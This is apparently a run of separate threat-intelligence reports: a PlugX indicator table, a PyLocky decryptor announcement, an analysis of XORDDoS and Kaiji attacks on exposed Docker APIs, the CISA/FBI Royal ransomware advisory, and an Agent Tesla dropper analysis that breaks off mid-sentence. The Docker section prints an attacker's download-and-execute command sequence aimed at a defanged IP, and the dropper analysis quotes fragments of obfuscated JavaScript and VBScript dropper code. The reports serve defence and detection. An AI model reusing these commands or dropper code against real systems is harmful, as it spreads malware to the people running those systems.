Malicious DLL that loads PlugX (Adobe_Caps.dll) | | a6b2c6052ee686e204ad0fbe8d314985 | SHA1 hash | Malicious DLL that loads PlugX (Adobe_Caps.dll) | | 840426f9d4d9eb535f5963f76f7cdf84 | SHA256 hash | Malicious DLL that loads PlugX (Adobe_Caps.dll) | | 459b4b1edd018ba31242b4780ec39a78 | MD5 hash | Encrypted PlugX payload (AdobePlugin.dat) | | f8ae9ea9ca603dfc10a309b052dc57ee | SHA1 hash | Encrypted PlugX payload (AdobePlugin.dat) | | 545e2c9965dc0449bb652ae2fb3d1f74 | SHA256 hash | Encrypted PlugX payload (AdobePlugin.dat) | | 493cb5056dee306ac2c93af2285ad9d8 | MD5 hash | Malicious RAR file containing PlugX (313615_MONTENEGRO-2021-HUMAN-RIGHTS-REPORT.rar) | | dcc6edf9c40f9c3f914416805252e11a | SHA1 hash | Malicious RAR file containing PlugX (313615_MONTENEGRO-2021-HUMAN-RIGHTS-REPORT.rar) | | 325736437e278bccd6f04e0c57f72be7 | SHA256 hash | Malicious RAR file containing PlugX (313615_MONTENEGRO-2021-HUMAN-RIGHTS-REPORT.rar) | | f6b365fad2dba5c7378df81339bb3078 | MD5 hash | Malicious shortcut file that executes PlugX (313615_MONTENEGRO-2021-HUMAN-RIGHTS-REPORT.pdf.lnk) | | 710bc29b56da533cae0ed5bba47916b8 | SHA1 hash | Malicious shortcut file that executes PlugX (313615_MONTENEGRO-2021-HUMAN-RIGHTS-REPORT.pdf.lnk) | | eab73a44642e130091177ed2a7938c67 | SHA256 hash | Malicious shortcut file that executes PlugX (313615_MONTENEGRO-2021-HUMAN-RIGHTS-REPORT.pdf.lnk) | | 5c56ac14f1245fecc7fa930bb49a0f7d | MD5 hash | Malicious DLL that loads PlugX (goopdate.dll) | | 95f0de261ff57e67d666277b86783650 | SHA1 hash | Malicious DLL that loads PlugX (goopdate.dll) | | b7f6cf8a6a697b254635eb0b567e2a89 | SHA256 hash | Malicious DLL that loads PlugX (goopdate.dll) | | c94f930fee694db7253e7784ca3adc87 | MD5 hash | Encrypted PlugX payload (AvastDB.dat) | | 04afecffaaff12058e07bcbda65dbbb6 | SHA1 hash | Encrypted PlugX payload (AvastDB.dat) | | 13e60a836d64ce6d18059c82c2c0c1a3 | SHA256 hash | Encrypted PlugX payload (AvastDB.dat) | | e2fe6c54cb4a9a45fbc6f7eb3a9c4fbf | MD5 hash | Malicious RAR file containing PlugX (EU 31st session of the Commission on Crime Prevention and Criminal Justice United Nations on Drugs and Crime.rar) | | 85d8da08ba6ce60b9116c0c93f8d8c9e | SHA1 hash | Malicious RAR file containing PlugX (EU 31st session of the Commission on Crime Prevention and Criminal Justice United Nations on Drugs and Crime.rar) | | 09fc8bf9e2980ebec1977a8023e8a294 | SHA256 hash | Malicious RAR file containing PlugX (EU 31st session of the Commission on Crime Prevention and Criminal Justice United Nations on Drugs and Crime.rar) | | c004559076a1d21e50477580526f2d9f | MD5 hash | Malicious shortcut file that executes PlugX (EU 31st session of the Commission on Crime Prevention and Criminal Justice United Nations on Drugs and Crime.pdf.lnk) | | 840c535120ed91eb88d32abe6fcc06d5 | SHA1 hash | Malicious shortcut file that executes PlugX (EU 31st session of the Commission on Crime Prevention and Criminal Justice United Nations on Drugs and Crime.pdf.lnk) | | a693b9f9ffc5f4900e094b1d1360f7e7 | SHA256 hash | Malicious shortcut file that executes PlugX (EU 31st session of the Commission on Crime Prevention and Criminal Justice United Nations on Drugs and Crime.pdf.lnk) | | af7b0e51f1572601889994f36b0a9d7a | MD5 hash | Malicious DLL that loads PlugX (goopdate.dll) | | 0d7daad1d60f2ed2e23188aab1f3bbab | SHA1 hash | Malicious DLL that loads PlugX (goopdate.dll) | | bda43368b62971b395c8fbcc854b6e9d | SHA256 hash | Malicious DLL that loads PlugX (goopdate.dll) | | 1409c055064becf02ed074b6d0976feb | MD5 hash | Encrypted PlugX payload (AvastDB.dat) | | bb9803312d697d4cac5f7a2bec57da73 | SHA1 hash | Encrypted PlugX payload (AvastDB.dat) | | dfa01872aab09f04fcb9eca3653bd0fb | SHA256 hash | Encrypted PlugX payload (AvastDB.dat) | | d3129539bc1e1c6cce321693be186522 | MD5 hash | Malicious RAR file containing PlugX (NV 309-2022 HMA's departure.pdf.rar) | | d640592b13b6983a38948f733a4b4621 | SHA1 hash | Malicious RAR file containing PlugX (NV 309-2022 HMA's departure.pdf.rar) | | 69ba51fe80ef91fb0b7280d16290a249 | SHA256 hash | Malicious RAR file containing PlugX (NV 309-2022 HMA's departure.pdf.rar) | | 07e9c84bee28450b1ec24a6f06016802 | MD5 hash | Malicious shortcut file that executes PlugX (NV 309-2022 HMA's departure.pdf.lnk) | | 4d15d67e1175f36be7b14c9474102d09 | SHA1 hash | Malicious shortcut file that executes PlugX (NV 309-2022 HMA's departure.pdf.lnk) | | 924fffea4d0a4710d71b507523d76a85 | SHA256 hash | Malicious shortcut file that executes PlugX (NV 309-2022 HMA's departure.pdf.lnk) | | a510e7b3e447a090cd3f41c4a1a9bd3a | MD5 hash | Malicious DLL that loads PlugX (opera_browser.dll) | | d30791be1bf9d2247faa6dfbeb9c132e | SHA1 hash | Malicious DLL that loads PlugX (opera_browser.dll) | | 023d3bce6f1bcf6c15eb839a4e28c488 | SHA256 hash | Malicious DLL that loads PlugX (opera_browser.dll) | | e819924ea9fa0c53634b306648cb9a84 | MD5 hash | Encrypted PlugX payload (operaDB.dat) | | 70f36366b579ba344f9e90ec63b0e273 | SHA1 hash | Encrypted PlugX payload (operaDB.dat) | | 4b7c37ca79536f2692c64dfdc1b70738 | SHA256 hash | Encrypted PlugX payload (operaDB.dat) | | 64.34.205.41 | IP address | PlugX C2 server | | 69.90.190.110 | IP address | PlugX C2 server | | 104.255.174.58 | IP address | PlugX C2 server | If you need urgent assistance with an incident, contact the Secureworks Incident Response team.
# Pylocky Unlocked: Cisco Talos Releases PyLocky Ransomware Decryptor This tool was developed by Mike Bautista. PyLocky is a family of ransomware written in Python that attempts to masquerade as a Locky variant. This ransomware will encrypt all files on a victim machine before demanding that the user pay a ransom to gain access to their decrypted files. To combat this ransomware, Cisco Talos is releasing a free decryption tool. Because our tool requires the capturing of the initial PyLocky command and control (C2) traffic of an infected machine, it will only work to recover the files on an infected machine where network traffic has been monitored. If the initial C2 traffic has not been captured, our decryption tool will not be able to recover files on an infected machine. This is because the initial callout is used by the malware to send the C2 servers information that it uses in the encryption process. When PyLocky executes, it generates a random user ID and password and gathers information about the infected machine using WMI wrappers. It also generates a random initialization vector, or IV, which is then base64 encoded and sent to the C2 server along with the system information the malware has gathered. After obtaining the absolute path of every file on the system, the malware then calls the encryption algorithm, passing it the IV and password. Each file is first base64-encoded before it is encrypted. The malware appends the extension ".lockedfile" to each file it encrypts - for example, the file "picture.jpg" would become "picture.jpg.lockedfile." The original file is then overwritten with the attacker's ransom note. **Example of a PyLocky ransom note.** Talos encourages users never to pay an attacker-demanded ransom, as this rarely results in the recovery of encrypted files. Rather, victims of this ransomware should restore from backups if their files cannot be decrypted. Just as in the June 2017 Nyetya attack, Talos has observed on numerous occasions that attackers who are demanding ransoms may have no way to communicate with victims to provide a decryptor. Our free decryption tool can be downloaded here. ## Indicators of Compromise **Domain Names** - centredentairenantes.fr - panicpc.fr - savigneuxcom.securesitefr.com **Hashes** - 1569F6FD28C666241902A19B205EE8223D47CCCDD08C92FC35E867C487EBC999 - 2A244721FF221172EDB788715D11008F0AB50AD946592F355BA16CE97A23E055 - 87AADC95A8C9740F14B401BD6D7CC5CE2E2B9BEEC750F32D1D9C858BC101DFFA - C9C91B11059BD9AC3A0AD169DEB513CEF38B3D07213A5F916C3698BB4F407FFA ## Coverage Ways our customers can detect and block this threat are listed below. - Advanced Malware Protection (AMP) is ideally suited to prevent the execution of this malware. - Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents access to malicious websites and detects malware used in these attacks. - Email Security can block malicious emails sent by threat actors as part of their campaign. - Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention System (NGIPS), and Meraki MX can detect malicious activity associated with this threat. - Threat Grid helps identify malicious binaries and build protection into all Cisco Security products. - Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. - Open Source SNORTⓇ Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.
# XORDDoS, Kaiji Variants Target Exposed Docker Servers We have recently detected variants of two existing Linux botnet malware types targeting exposed Docker servers; these are XORDDoS malware (detected by Trend Micro as Backdoor.Linux.XORDDOS.AE) and Kaiji DDoS malware (detected by Trend Micro as DDoS.Linux.KAIJI.A). Having Docker servers as their target is a new development for both XORDDoS and Kaiji; XORDDoS was known for targeting Linux hosts on cloud systems, while recently discovered Kaiji was first reported to affect internet of things (IoT) devices. Attackers usually used botnets to perform brute-force attacks after scanning for open Secure Shell (SSH) and Telnet ports. Now, they also searched for Docker servers with exposed ports (2375). Port 2375, one of the two ports Docker API uses, is for unencrypted and unauthenticated communication. There is, however, a notable difference between the two malware variants’ method of attack. While the XORDDoS attack infiltrated the Docker server to infect all the containers hosted on it, the Kaiji attack deploys its own container that will house its DDoS malware. These malware variants facilitate distributed denial of service (DDoS), a type of attack designed to disable, disrupt, or shut down a network, website, or service. This is done by using multiple systems to overwhelm the target system with traffic until it becomes inaccessible to other users. ## Analysis of XORDDoS malware The XORDDoS infection started with the attackers searching for hosts with exposed Docker API ports (2375). They then sent a command that listed the containers hosted on the Docker server. Afterwards, the attackers executed the following sequence of commands to all containers, infecting all of them with the XORDDoS malware: ``` wget hxxp://122[.]51[.]133[.]49:10086/VIP –O VIP chmod 777 VIP ./VIP ``` The XORDDoS payload (detected by Trend Micro as Backdoor.Linux.XORDDOS.AE) still used the XOR-key it used in other recorded attacks, BB2FA36AAA9541F0, to encrypt its strings and to communicate with the command and control (C&C) server. It also created multiple copies of itself inside the machine as a persistence mechanism. The payload initiated SYN, ACK, and DNS types of DDoS attacks. It is also capable of downloading and executing a follow-up malware, or updating itself. It gathered the following data, which are relevant to its attempt to initiate a DDoS attack: - CPU Information - MD5 of Running Process - Memory Information - Network Speed - PID of Running Process It should be noted that most of the behaviors exhibited by this particular XORDDoS variant have already been observed in earlier variants of the malware. Upon further investigation of the URL linked to the attacker, we found other malware such as Backdoor.Linux.DOFLOO.AB, a variant of Dofloo/AESDDoS Linux botnet malware that we witnessed targeting exposed Docker APIs previously. ## Analysis of Kaiji malware Similar to the XORDDoS malware, Kaiji is now also targeting exposed Docker servers for propagation. Its operator also scanned the internet for hosts with exposed port 2375. After finding a target, they pinged the Docker server before deploying a rogue ARM container that executed the Kaiji binary. The script `123.sh` (detected by Trend Micro as Trojan.SH.KAIJI.A) downloaded and executed the malware payload, `linux_arm` (detected by Trend Micro as DDoS.Linux.KAIJI.A). Afterwards, the script also removed other Linux binaries that are basic components of the operating system but are not necessary for its DDoS operation. The payload `linux_arm`, which is the Kaiji DDoS malware, initiated the following DDoS attacks: - ACK attack - IPS spoof attack - SSH attack - SYN attack - SYNACK attack - TCP flood attack - UDP flood attack This malware also gathered the following data, which it can use for the aforementioned attacks: - CPU Information - Directories - Domain Name - Host IP address - PID of Running Process - URL scheme ## Defending Docker servers As seen in these findings, threat actors behind malware variants constantly upgrade their creations with new capabilities so that they can deploy their attacks against other entry points. As they are relatively convenient to deploy in the cloud, Docker servers are becoming an increasingly popular option for companies. However, these also make them an attractive target for cybercriminals who are on the constant lookout for systems that they can exploit. These are some recommendations for securing Docker servers: - Secure the container host. Take advantage of monitoring tools, and host containers in a container-focused OS. - Secure the networking environment. Use intrusion prevention system (IPS) and web filtering to provide visibility and observe internal and external traffic. - Secure the management stack. Monitor and secure the container registry and lock down the Kubernetes installation. - Secure the build pipeline. Implement a thorough and consistent access control scheme and install strong endpoint controls. - Adhere to the recommended best practices. - Use security tools to scan and secure containers. Security solutions are recommended for safeguarding Docker servers. Trend Micro™ Hybrid Cloud Security is recommended for automated security and protection for physical, virtual, and cloud workloads. This solution encompasses the following: - Trend Micro Cloud One™– for comprehensive visibility and protection against threats - Trend Micro Cloud One - Container Security– for automated container image and registry scanning that helps detect threats early on - Trend Micro Cloud One – Workload Security – for protecting new and existing workloads against even unknown threats using techniques such as machine learning and virtual patching - For security as software: Trend Micro Deep Security™ Software (workload and container security) and Trend Micro Deep Security Smart Check (container image security) for scanning container images and preventing further compromise ## Indicators of Compromise ### Kaiji | File | SHA 256 | Trend Micro pattern detection | |-----------|------------------------------------------------------------------------------------------|---------------------------------| | 123.sh | 9301d983e9d8fad3cc205ad67746cd111024daeb4f597a77934c7cfc1328c3d8 | Trojan.SH.KAIJI.A | | linux_arm | d315b83e772dfddbd2783f016c38f021225745eb43c06bbdfd92364f68fa4c56 | DDoS.Linux.KAIJI.A | ### XORDDoS and other malware variants found through the same URL | SHA 256 | Trend Micro pattern detection | |------------------------------------------------------------------------------------------|---------------------------------| | dba757c20fbc1d81566ef2877a9bfca9b3ddb84b9f04c0ca5ae668b7f40ea8c3 | Backdoor.Linux.XORDDOS.AE | | 6c8f95b82592ac08a03bfe32e4a4dbe637d1f542eb3ab3054042cec8ec301a3c | Backdoor.Linux.DOFLOO.AB | | 286f774eb5b4f2f7c62d5e68f02a37b674cca7b8c861e189f1f596789322f9fe | Backdoor.Win32.SDDOS.A |
# StopRansomware: Royal Ransomware **Cybersecurity Advisory** **Release Date:** March 02, 2023 **Alert Code:** AA23-061A ## SUMMARY This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders detailing various ransomware variants and threat actors. These advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. **Actions to take today to mitigate cyber threats from ransomware:** - Prioritize remediating known exploited vulnerabilities. - Train users to recognize and report phishing attempts. - Enable and enforce multifactor authentication. The Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint CSA to disseminate known Royal ransomware IOCs and TTPs identified through FBI threat response activities as recently as January 2023. Since approximately September 2022, cyber criminals have compromised U.S. and international organizations with a Royal ransomware variant. FBI and CISA believe this variant, which uses its own custom-made file encryption program, evolved from earlier iterations that used “Zeon” as a loader. After gaining access to victims’ networks, Royal actors disable antivirus software and exfiltrate large amounts of data before ultimately deploying the ransomware and encrypting the systems. Royal actors have made ransom demands ranging from approximately $1 million to $11 million USD in Bitcoin. In observed incidents, Royal actors do not include ransom amounts and payment instructions as part of the initial ransom note. Instead, the note, which appears after encryption, requires victims to directly interact with the threat actor via a .onion URL (reachable through the Tor browser). Royal actors have targeted numerous critical infrastructure sectors including, but not limited to, Manufacturing, Communications, Healthcare and Public Healthcare (HPH), and Education. FBI and CISA encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents. ## TECHNICAL DETAILS This advisory uses the MITRE ATT&CK® for Enterprise framework, version 12. Royal ransomware uses a unique partial encryption approach that allows the threat actor to choose a specific percentage of data in a file to encrypt. This approach helps evade detection. In addition to encrypting files, Royal actors also engage in double extortion tactics, threatening to publicly release the encrypted data if the victim does not pay the ransom. ### Initial Access Royal actors gain initial access to victim networks in several ways including: - **Phishing:** Royal actors most commonly (in 66.7% of incidents) gain initial access via successful phishing emails. Victims have unknowingly installed malware that delivers Royal ransomware after receiving phishing emails containing malicious PDF documents and malvertising. - **Remote Desktop Protocol (RDP):** The second most common vector (in 13.3% of incidents) for initial access is RDP compromise. - **Public-facing applications:** FBI has observed Royal actors gain initial access through exploiting public-facing applications. - **Brokers:** Reports indicate that Royal actors may leverage brokers to gain initial access and source traffic by harvesting virtual private network (VPN) credentials from stealer logs. ### Command and Control Once Royal actors gain access to the network, they communicate with command and control (C2) infrastructure and download multiple tools. Legitimate Windows software is repurposed by Royal operators to strengthen their foothold in the victim’s network. Ransomware operators often use open-source projects to aid their intrusion activities; Royal operators have recently been observed using Chisel, a tunneling tool transported over HTTP and secured via SSH, to communicate with their C2 infrastructure. FBI has observed multiple Qakbot C2s used in Royal ransomware attacks. ### Lateral Movement and Persistence Royal actors often use RDP to move laterally across the network. Microsoft Sysinternals tool PsExec has also been used to aid lateral movement. FBI has observed Royal actors using remote monitoring and management (RMM) software, such as AnyDesk, LogMeIn, and Atera, for persistence in the victim’s network. In some instances, the actors moved laterally to the domain controller, using a legitimate admin account to remotely log on to the domain controller. Once on the domain controller, the threat actor deactivated antivirus protocols by modifying Group Policy Objects. ### Exfiltration Royal actors exfiltrate data from victim networks by repurposing legitimate cyber pentesting tools, such as Cobalt Strike, and malware tools and derivatives, such as Ursnif/Gozi, for data aggregation and exfiltration. Royal actors’ first hop in exfiltration and other operations is usually a U.S. IP address. ### Encryption Before starting the encryption process, Royal actors: - Use Windows Restart Manager to determine whether targeted files are currently in use or blocked by other applications. - Use Windows Volume Shadow Copy service (vssadmin.exe) to delete shadow copies to prevent system recovery. FBI has found numerous batch (.bat) files on impacted systems which are typically transferred as an encrypted 7zip file. Batch files create a new admin user, force a group policy update, set pertinent registry keys to auto-extract and execute the ransomware, monitor the encryption process, and delete files upon completion—including Application, System, and Security event logs. Malicious files have been found in victim networks in the following directories: - C:\Temp\ - C:\Users\<user>\AppData\Roaming\ - C:\Users\<users>\ - C:\ProgramData\ ## Indicators of Compromise (IOC) ### Table 1: Royal Ransomware Associated Files, Hashes, and IP addresses as of January 2023 | IOC | Description | |---------------------------|---------------------------| | .royal | Encrypted file extension | | README.TXT | Ransom note | | Malicious IP | Last Activity | | 102.157.44[.]105 | November 2022 | | 105.158.118[.]241 | November 2022 | | 105.69.155[.]85 | November 2022 | | 113.169.187[.]159 | November 2022 | | 134.35.9[.]209 | November 2022 | | 139.195.43[.]166 | November 2022 | | 139.60.161[.]213 | November 2022 | | 148.213.109[.]165 | November 2022 | | 163.182.177[.]80 | November 2022 | | 181.141.3[.]126 | November 2022 | | 181.164.194[.]228 | November 2022 | | 185.143.223[.]69 | November 2022 | | 186.64.67[.]6 | November 2022 | | 186.86.212[.]138 | November 2022 | | 190.193.180[.]228 | November 2022 | | 196.70.77[.]11 | November 2022 | | 197.11.134[.]255 | November 2022 | | 197.158.89[.]85 | November 2022 | | 197.204.247[.]7 | November 2022 | | 197.207.181[.]147 | November 2022 | | 197.207.218[.]27 | November 2022 | | 197.94.67[.]207 | November 2022 | | 23.111.114[.]52 | November 2022 | | 41.100.55[.]97 | November 2022 | | 41.107.77[.]67 | November 2022 | | 41.109.11[.]80 | November 2022 | | 41.251.121[.]35 | November 2022 | | 41.97.65[.]51 | November 2022 | | 42.189.12[.]36 | November 2022 | | 45.227.251[.]167 | November 2022 | | 5.44.42[.]20 | November 2022 | | 61.166.221[.]46 | November 2022 | | 68.83.169[.]91 | November 2022 | | 81.184.181[.]215 | November 2022 | | 82.12.196[.]197 | November 2022 | | 98.143.70[.]147 | November 2022 | | 140.82.48[.]158 | December 2022 | | 147.135.36[.]162 | December 2022 | | 147.135.11[.]223 | December 2022 | | 152.89.247[.]50 | December 2022 | | 179.43.167[.]10 | December 2022 | | 185.7.214[.]218 | December 2022 | | 193.149.176[.]157 | December 2022 | | 193.235.146[.]104 | December 2022 | | 209.141.36[.]116 | December 2022 | | 45.61.136[.]47 | December 2022 | | 45.8.158[.]104 | December 2022 | | 5.181.234[.]58 | December 2022 | | 5.188.86[.]195 | December 2022 | | 77.73.133[.]84 | December 2022 | | 89.108.65[.]136 | December 2022 | | 94.232.41[.]105 | December 2022 | | 47.87.229[.]39 | January 2023 | ### Malicious Domain Last Observed | Domain | Last Observed | |-----------------------------|--------------------------| | ciborkumari[.]xyz | October 2022 | | sombrat[.]com | October 2022 | | gororama[.]com | November 2022 | | softeruplive[.]com | November 2022 | | altocloudzone[.]live | December 2022 | | myappearinc[.]com | December 2022 | | parkerpublic[.]com | December 2022 | | pastebin.mozilla[.]org/Z54Vudf9/raw | December 2022 | | tumbleproperty[.]com | December 2022 | | myappearinc[.]com/acquire/draft/c7lh0s5jv | January 2023 | ### Table 2: Tools used by Royal operators | Tool | SHA256 | |-----------------------------|--------------------------------------------------| | AV tamper | 8A983042278BC5897DBCDD54D1D7E3143F8B7EAD553B5A4713E30DEFFDA16375 | | TCP/UDP | 8a99353662ccae117d2bb22efd8c43d7169060450be413af763e8ad7522d2451 | | Tunnel over HTTP (Chisel) | be030e685536eb38ba1fec1c90e90a4165f6641c8dc39291db1d23f4ee9fa0b1 | | Exfil | B8C4AEC31C134ADBDBE8AAD65D2BCB21CFE62D299696A23ADD9AA1DE082C6E20 | | Remote Access (AnyDesk) | 4a9dde3979c2343c024c6eeeddff7639be301826dd637c006074e04a1e4e9fe7 | | PowerShell Toolkit | 4cd00234b18e04dcd745cc81bb928c8451f6601affb5fa45f20bb11bfb5383ce | | Downloader | 08c6e20b1785d4ec4e3f9956931d992377963580b4b2c6579fd9930e08882b1c | | Keep Host Unlocked (Don’t Sleep) | f8cff7082a936912baf2124d42ed82403c75c87cb160553a7df862f8d81809ee | | Ransomware Executable | d47d4b52e75e8cf3b11ea171163a66c06d1792227c1cf7ca49d7df60804a1681 | | Windows Command Line (NirCmd) | 216047C048BF1DCBF031CF24BD5E0F263994A5DF60B23089E393033D17257CB5 | | System Management (NSudo) | 19896A23D7B054625C2F6B1EE1551A0DA68AD25CDDBB24510A3B74578418E618 | ### Batch Scripts | Filename | Hash Value | |-----------------------------|----------------------------------------------| | 2.bat | 585b05b290d241a249af93b1896a9474128da969 | | 3.bat | 41a79f83f8b00ac7a9dd06e1e225d64d95d29b1d | | 4.bat | a84ed0f3c46b01d66510ccc9b1fc1e07af005c60 | | 8.bat | c96154690f60a8e1f2271242e458029014ffe30a | | kl.bat | 65dc04f3f75deb3b287cca3138d9d0ec36b8bea0 | | gp.bat | 82f1f72f4b1bfd7cc8afbe6d170686b1066049bc7e5863b51aa15ccc5c841f58 | | r.bat | 74d81ef0be02899a177d7ff6374d699b634c70275b3292dbc67e577b5f6a3f3c | | runanddelete.bat | 342B398647073159DFA8A7D36510171F731B760089A546E96FBB8A292791EFEE | ## MITRE ATT&CK TECHNIQUES ### Table 3: Royal Actors ATT&CK Techniques for Enterprise | Technique Title | ID | Use | |-------------------------------------------------------|----------------|---------------------------------------------------------------------| | Exploit Public Facing Application | T1190 | The actors gain initial access through public-facing applications. | | Phishing: Spear phishing Attachment | T1566.001 | The actors gain initial access through malicious PDF attachments. | | Phishing: Spearphishing Link | T1566.002 | The actors gain initial access using malvertising links. | | External Remote Services | T1133 | The actors gain initial access through RMM software. | | Ingress Tool Transfer | T1105 | The actors used C2 infrastructure to download multiple tools. | | Protocol Tunneling | T1572 | The actors used an encrypted SSH tunnel to communicate with C2. | | Valid Accounts: Domain Accounts | T1078.002 | The actors used encrypted files to create new admin user accounts. | | Impair Defenses: Disable or Modify Tools | T1562.001 | The actors deactivated antivirus protocols. | | Domain Policy Modification: Group Policy Modification | T1484.001 | The actors modified Group Policy Objects to subvert antivirus protocols. | | Indicator Removal: Clear Windows Event Logs | T1070.001 | The actors deleted shadow files and system logs after exfiltration. | | Remote Desktop Protocol | T1021.001 | The actors used valid accounts to move laterally through the domain controller. | | Automated Collection | T1119 | The actors used registry keys to auto-extract and collect files. | | Data Encrypted for Impact | T1486 | The actors encrypted data to determine which files were being used. | ## MITIGATIONS FBI and CISA recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques and to reduce the risk of compromise by Royal ransomware. These mitigations follow CISA’s Cybersecurity Performance Goals (CPGs): - Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location. - Require all accounts with password logins to comply with NIST standards for developing and managing password policies. - Use longer passwords consisting of at least 8 characters and no more than 64 characters in length. - Store passwords in hashed format using industry-recognized password managers. - Add password user “salts” to shared login credentials. - Avoid reusing passwords. - Implement multiple failed login attempt account lockouts. - Disable password hints. - Refrain from requiring password changes more frequently than once per year. - Require administrator credentials to install software. - Require multifactor authentication for all services to the extent possible. - Keep all operating systems, software, and firmware up to date. - Segment networks to help prevent the spread of ransomware. - Identify, detect, and investigate abnormal activity with a networking monitoring tool. - Install, regularly update, and enable real-time detection for antivirus software on all hosts. - Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts. - Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege. - Disable unused ports. - Consider adding an email banner to emails received from outside your organization. - Implement time-based access for accounts set at the admin level and higher. - Disable command-line and scripting activities and permissions. - Maintain offline backups of data, and regularly maintain backup and restoration. - Ensure all backup data is encrypted, immutable, and covers the entire organization’s data infrastructure. ## RESOURCES - Stopransomware.gov is a whole-of-government approach that gives one central location for ransomware resources and alerts. - Resource to mitigate a ransomware attack: CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide. - No-cost cyber hygiene services: Cyber Hygiene Services and Ransomware Readiness Assessment. ## REPORTING FBI is seeking any information that can be shared, including boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with Royal actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file. FBI and CISA do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may embolden adversaries to target additional organizations and fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI and CISA urge you to promptly report ransomware incidents to a local FBI Field Office or CISA. ## DISCLAIMER The information in this report is being provided “as is” for informational purposes only. CISA and FBI do not endorse any commercial product or service. Any reference to specific commercial products, processes, or services does not constitute or imply endorsement by CISA or the FBI. ## REFERENCES 1. Royal Rumble: Analysis of Royal Ransomware (cybereason.com) 2. DEV-0569 finds new ways to deliver Royal ransomware, various payloads - Microsoft Security Blog 3. 2023-01: ACSC Ransomware Profile - Royal | Cyber.gov.au ## ACKNOWLEDGEMENTS Recorded Future, Coveware, Digital Asset Redemption, Q6, and RedSense contributed to this CSA.
# A Tale of Two Dropper Scripts for Agent Tesla January 3, 2022 By Tony Lambert In this post, I want to look at two script files that drop Agent Tesla stealers on affected systems and show how adversary decisions affect malware analysis and detection. If you want to follow along at home, I’m working with these samples from MalwareBazaar: The first script (hash starting with 46dd) is crafted with love using obfuscated JavaScript and shows how an adversary made the decision to download subsequent stages rather than embed into the script. The second script (hash starting with ac05) is crafted with care using VBScript and shows another adversary choosing to embed a second stage into the script rather than trying to download more content. ## Adversary Path - Downloading Stages In the downloading path, we can see that the script is fairly obfuscated, but brief: ```javascript var _0x181193=_0x2d0f;(function(_0x2af778,_0x402c31){var _0x2500ec=_0x2d0f,_0x1384b3=_0x2af778();while(!![]){try{var _0x1e4494=-par (pars... ``` We could potentially make this code prettier using a NodeJS REPL, but the adversary chose to leave most of the essential stuff in plaintext for us. The strings `MSXML2.XMLHTTP` and `hxxp://mudanzasdistintas[.]com.ar/vvt/td.exe` indicate a second stage likely comes from a downloaded executable. The string `shell['Run']` indicates the script likely launches that second stage at the end. While the script is relatively short, the majority of the script contents focus on obfuscation while not actually performing effective obfuscation. Since the adversary chose this route, we can make a few hypotheses: - The script is likely smaller - The script contains less details about subsequent stages - A wscript or cscript process will spawn the downloaded content - A wscript or cscript process will establish a network connection We can test out these hypotheses using a combination of static analysis and a sandbox report. For file size, we can look at properties using `exiftool` or filesystem tools like `ls`. ```bash remnux@remnux:~/cases/js-tesla$ exiftool documentos.js ExifTool Version Number : 12.30 File Name : documentos.js Directory : . File Size : 1917 bytes File Modification Date/Time : 2022:01:03 17:33:52-05:00 File Access Date/Time : 2022:01:03 17:11:34-05:00 File Inode Change Date/Time : 2022:01:03 12:36:18-05:00 File Permissions : -rw-r--r-- File Type : TXT File Type Extension : txt MIME Type : text/plain MIME Encoding : us-ascii Newlines : (none) Line Count : 1 Word Count : 21 ``` This script weighs in at 1917 bytes, fairly small. From the Tria.ge sandbox report, we can also confirm `wscript.exe` makes a network connection and at least one file modification to write the executable. If we’re looking for detection ideas, we could look into analytics that involve `wscript.exe` making network connections as well as file modifications. ## Adversary Path - Embedding Stages In the sample that embeds a payload, we can first see that the script contains a lot of content. ```vbscript on error resume next dim medo,sea,medoff dim maasr set helper = createobject("Wscript.Shell") maasr = helper.ExpandEnvironmentStrings("%temp%") set medo = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64") medo.dataType="bin.base64" medo.text="TVqQAAMAAAAEAAAA// ... ``` I’ve included the first and last parts of the script for brevity, but the `exiftool` output shows a significantly larger size: ```bash remnux@remnux:~/cases/tesla$ exiftool TGFTR.vbs ExifTool Version Number : 12.30 File Name : TGFTR.vbs Directory : . File Size : 935 KiB File Modification Date/Time : 2022:01:02 21:40:36-05:00 File Access Date/Time : 2022:01:03 17:27:22-05:00 File Inode Change Date/Time : 2022:01:02 16:42:17-05:00 File Permissions : -rw-r--r-- File Type : TXT File Type Extension : txt MIME Type : text/plain MIME Encoding : us-ascii Newlines : Windows CRLF Line Count : 17 Word Count : 49 ``` This script weighs in at 935 KiB vs the first script’s 1917 bytes. This size difference is because the adversary chose to encode the second stage in base64 and embed it within the script. In some instances, I’ve seen adversaries embed multiple binaries into a script resulting in script sizes above 1MB. This helps the adversary avoid making network connections to get subsequent stages, but it gives defenders some extra clues. First, large scripts are more suspicious for any defenders that go hunting. Also, the more content adversaries include within their scripts, the more likely they are to trip YARA rules. We can see an example of this with these scripts. ```bash remnux@remnux:~/cases/tesla$ yara-rules TGFTR.vbs Base64_encoded_Executable TGFTR.vbs remnux@remnux:~/cases/tesla$ yara-rules ../js-tesla/documentos.js ``` For the VBScript containing the embedded stage, YARA detected an encoded Windows EXE. For the JS dropper that didn’t have embedded content, YARA found nothing (although a custom ruleset would work better). For this demonstration, I’m using the default YARA rules included with REMnux. An additional issue embedding poses for the adversary: once a malware analyst has the first stage script, they can extract the subsequent versions easily, depending on the level of obfuscation. In this case, I could copy all of the content from 